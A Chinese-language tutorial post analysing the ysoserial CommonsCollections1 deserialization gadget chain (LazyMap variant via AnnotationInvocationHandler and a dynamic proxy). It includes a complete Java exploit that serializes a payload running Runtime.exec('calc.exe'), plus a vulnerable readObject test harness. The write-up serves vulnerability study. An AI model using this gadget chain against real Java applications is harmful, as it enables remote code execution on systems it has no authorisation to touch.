ysoserial中的CC1

很早之前就看过文章,提到过CC1的两种触发方式

  • TransformedMap
  • LazyMap

之前分析的TransformedMap最早是有Code WhiteExploiting Deserialization Vulnerabilities in Java

ysoserial中的利用链使用到的是LazyMap

这个利用链比上一个看上去更加繁琐了一些,而且加入了Java对象代理的概念

两条链的区别

触发点的区别

  • TransformedMap中的触发点是在setValue方法中,而这个方法在AnnotationInvocationHandlerreadObject方法中存在调用,所以payload的编写围绕着如何进去if分支,触发setValue
  • LazyMap中触发点就不一样了,触发方法在get方法中,LazyMap的作用是”懒加载”,在get找不到值的时候,它会调用factory.transform方法去获取一个值

在这里插入图片描述

调用的区别

  • TransformedMapsetValue可以直接在readObject中调用
  • LazyMapget方法在readObject中并未直接调用,所以这里用到了对象代理

利用链分析

ChainedTransformer和之后的链条并无变化

主要是之前的构造

首先AnnotationInvocationHandler就是一个实现了InvocationHandler接口的类

在这里插入图片描述

在这个类的readObject方法中存在一个this.memberValues.entrySet()是可以触发invoke的,需要就是将这个memberValue设置为代理对象

在这里插入图片描述

那怎么设置这个代理对象呢?

在构造方法中第二个参数就是

在这里插入图片描述

所以我们需要反序列化的一个对象实例应该像下面你这样

1
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

其中proxyMap就是代理对象

进入了invoke之后,依然是memberValue成员调用get

那这个时候的memberValue就不能是代理对象了,而应该是我们需要调用的对象的实例也就是LazyMap

在这里插入图片描述

代码

1
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazymap);

然后上面的proxyMap就是对此handler的代理

1
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

POC

最终利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Proxy;

public class Exp {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})
};

Transformer transformedChain = new ChainedTransformer(transformers);
Map beforeTransformerMap = new HashMap();
Map lazymap = LazyMap.decorate(beforeTransformerMap, transformedChain);

Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handler);
oos.close();
}
}

漏洞测试

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.*;

public class DeSerImp {
public static void main(String[] args) throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object deSerObj = ois.readObject();
ois.close();
fis.close();
}
}

成功执行代码

在这里插入图片描述

其他

还提到链中一个隐藏错误信息的点就是在transforms中添加了ConstantTransforms(1)

在这里插入图片描述

测试结果

在这里插入图片描述

错误确实变了